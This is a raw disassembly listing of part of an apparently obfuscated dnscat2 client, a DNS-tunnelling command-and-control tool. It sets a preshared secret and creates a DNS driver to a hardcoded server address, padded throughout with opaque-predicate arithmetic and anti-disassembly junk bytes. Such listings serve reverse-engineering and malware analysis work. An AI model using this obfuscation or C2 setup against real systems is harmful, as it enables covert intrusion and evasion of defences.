imul edx, eax
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42e47b
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x400]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x8c]
fldcw word [esp + 0x12e]
jmp 0x42e47c
nop
mov edi, dword [esp + 0x8c]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x42e812
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42e7c4
mov dword [esp], 0x43ca65
call sym._getenv
test eax, eax
je 0x42e54f
fld1
jmp 0x42e551
fldz
fstp qword [esp + 0x600]
xor eax, eax
je 0x42e55d
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x600]
fstp qword [esp + 0x408]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42e649
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x42e649
mov dword [esp + 0x88], 6
jmp 0x42e751
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42e750
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x408]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x88]
fldcw word [esp + 0x12e]
jmp 0x42e751
nop
mov edi, dword [esp + 0x88]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x42e7c4
mov dword [esp], 0x43ca65
call sym._getenv
mov dword [esp], eax
call dbg.session_set_preshared_secret
mov dword [esp], 0x43ca57
call sym._getenv
mov edx, dword [0x44406c]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], str.TXT_CNAME_MX
mov dword [esp + 0xc], 0xe580
mov dword [esp + 8], str.192.168.1.103
mov dword [esp + 4], eax
mov dword [esp], edx
call dbg.create_dns_driver_internal
mov dword [0x444070], eax
mov dword [esp + 0x8fc], 1
mov eax, dword [esp + 0x8ec]
mov dword [esp], eax
call dbg.create_drivers
mov eax, dword [esp + 0x8ec]
mov dword [esp], eax
call dbg.ll_destroy
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42eb65
cmp dword [esp + 0x8fc], 0
je 0x42e8bb
mov eax, dword [0x4386c4]
lea edx, [eax*4]
mov eax, dword [ebp + 0xc]
add eax, edx
mov eax, dword [eax]
test eax, eax
je 0x42e8bb
mov dword [esp + 0x120], 1
jmp 0x42e8c6
mov dword [esp + 0x120], 0
fild dword [esp + 0x120]
fstp qword [esp + 0x5f8]
xor eax, eax
je 0x42e8d9
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x5f8]
fstp qword [esp + 0x410]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42e9c5
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x42e9c5
mov dword [esp + 0x84], 6
jmp 0x42eacf
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42eace
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov ecx, eax
movzx eax, byte [0x438540]
movsx edx, al
mov eax, ecx
sub eax, edx
mov dword [esp + 0x120], eax
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x410]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x84]
fldcw word [esp + 0x12e]
jmp 0x42eacf
nop
mov edi, dword [esp + 0x84]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
shl eax, 3
sub eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x42eb65
mov dword [esp], str.It_looks_like_you_used___dns_and_also_passed_a_domain_on_the_commandline._n
call dbg.printf
mov dword [esp], str.Thats_not_allowed__Either_use___dns_domainxxx_or_dont_use_a___dns_n
call dbg.printf
mov dword [esp], str.argument__n
call dbg.printf
mov dword [esp], 1
call sym._exit
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42fab5
cmp dword [esp + 0x8fc], 0
jne 0x42ebc6
fld1
jmp 0x42ebc8
fldz
fstp qword [esp + 0x5f0]
xor eax, eax
je 0x42ebd4
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x5f0]
fstp qword [esp + 0x418]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42ecc0
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x42ecc0
mov dword [esp + 0x80], 6
jmp 0x42edc5
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42edc4
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
add eax, esi
movzx edx, byte [0x438547]
movsx ecx, dl
mov edx, 0
div ecx
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x418]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x80]
fldcw word [esp + 0x12e]
jmp 0x42edc5
nop
mov edi, dword [esp + 0x80]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov ecx, eax
movzx eax, byte [0x438540]
movsx edx, al
mov eax, ecx
sub eax, edx
imul eax, edi
test eax, eax
je 0x42fab5
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
shl eax, 3
add eax, edx
add eax, esi
movzx edx, byte [0x438547]
movsx edi, dl
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42fab5
mov eax, dword [0x4386c4]
cmp dword [ebp + 8], eax
jg 0x42ee8f
fld1
jmp 0x42ee91
fldz
fstp qword [esp + 0x5e8]
xor eax, eax
je 0x42ee9d
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x5e8]
fstp qword [esp + 0x420]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add eax, esi
movzx edx, byte [0x438547]
movsx ecx, dl
mov edx, 0
div ecx
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42ef83
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x42ef83
mov dword [esp + 0x7c], 6
jmp 0x42f082
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
shl eax, 3
add eax, edx
add eax, esi
movzx edx, byte [0x438547]
movsx ecx, dl
mov edx, 0
div ecx
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42f081
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
add eax, esi
movzx edx, byte [0x438547]
movsx ecx, dl
mov edx, 0
div ecx
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x420]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x7c]
fldcw word [esp + 0x12e]
jmp 0x42f082
nop
mov esi, dword [esp + 0x7c]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov edi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 2
add eax, edi
movzx edx, byte [0x438547]
movsx edi, dl
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, esi
imul eax, edx
test eax, eax
je 0x42f14b
mov dword [esp], str.Starting_DNS_driver_without_a_domain__This_will_only_work_if_you_n
call dbg.printf
mov dword [esp], str.are_directly_connecting_to_the_dnscat2_server._n
call dbg.printf
mov dword [esp], 0x43c8a8
call dbg.printf
mov dword [esp], str.Youll_need_to_use___dns_server_server__if_you_arent._n
call dbg.printf
mov eax, dword [0x44406c]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], str.TXT_CNAME_MX
mov dword [esp + 0xc], 0xe580
mov dword [esp + 8], str.192.168.1.103
mov dword [esp + 4], 0
mov dword [esp], eax
call dbg.create_dns_driver_internal
mov dword [0x444070], eax
jmp 0x42fab5
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
add eax, esi
movzx edx, byte [0x438547]
movsx edi, dl
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42fab5
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
mov edx, ebx
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x5e0]
xor eax, eax
je 0x42f202
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x5e0]
fstp qword [esp + 0x428]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add eax, esi
movzx edx, byte [0x438547]
movsx ecx, dl
mov edx, 0
div ecx
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42f2e8
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x42f2e8
mov dword [esp + 0x78], 6
jmp 0x42f3e7
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
shl eax, 3
add eax, edx
add eax, esi
movzx edx, byte [0x438547]
movsx ecx, dl
mov edx, 0
div ecx
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42f3e6
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
add eax, esi
movzx edx, byte [0x438547]
movsx ecx, dl
mov edx, 0
div ecx
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x428]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x78]
fldcw word [esp + 0x12e]
jmp 0x42f3e7
nop
mov esi, dword [esp + 0x78]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov edi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add eax, edi
movzx edx, byte [0x438547]
movsx edi, dl
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, esi
imul eax, edx
test eax, eax
je 0x42fa6c
fld qword [0x43cbc8]
fstp qword [esp + 0x5d8]
xor eax, eax
je 0x42f45e
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x5d8]
fstp qword [esp + 0x430]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add eax, esi
movzx edx, byte [0x438547]
movsx ecx, dl
mov edx, 0
div ecx
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42f53b
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x42f5d4
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
shl eax, 3
add eax, edx
add eax, esi
movzx edx, byte [0x438547]
movsx ecx, dl
mov edx, 0
div ecx
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42f5d3
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x430]
fstp st(0)
jmp 0x42f5d4
nop
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
shl eax, 3
add eax, edx
add eax, esi
movzx edx, byte [0x438547]
movsx edi, dl
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42fab5
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 2
add eax, esi
movzx edx, byte [0x438547]
movsx edi, dl
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x5d0]
xor eax, eax
je 0x42f69f
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x5d0]
fstp qword [esp + 0x438]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add eax, esi
movzx edx, byte [0x438547]
movsx ecx, dl
mov edx, 0
div ecx
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42f785
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x42f785
mov dword [esp + 0x74], 6
jmp 0x42f884
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
shl eax, 3
add eax, edx
add eax, esi
movzx edx, byte [0x438547]
movsx edi, dl
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42f883
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
add eax, esi
movzx edx, byte [0x438547]
movsx ecx, dl
mov edx, 0
div ecx
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x438]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x74]
fldcw word [esp + 0x12e]
jmp 0x42f884
nop
mov esi, dword [esp + 0x74]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov edi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 2
add eax, edi
movzx edx, byte [0x438547]
movsx edi, dl
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, esi
imul eax, edx
test eax, eax
je 0x42fab5
fld qword [0x43cbd0]
fstp qword [esp + 0x5c8]
xor eax, eax
je 0x42f8f4
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x5c8]
fstp qword [esp + 0x440]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add eax, esi
movzx edx, byte [0x438547]
movsx edi, dl
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42f9d1
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x42fa6a
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
add eax, esi
movzx edx, byte [0x438547]
movsx ecx, dl
mov edx, 0
div ecx
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42fa69
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
shl eax, 2
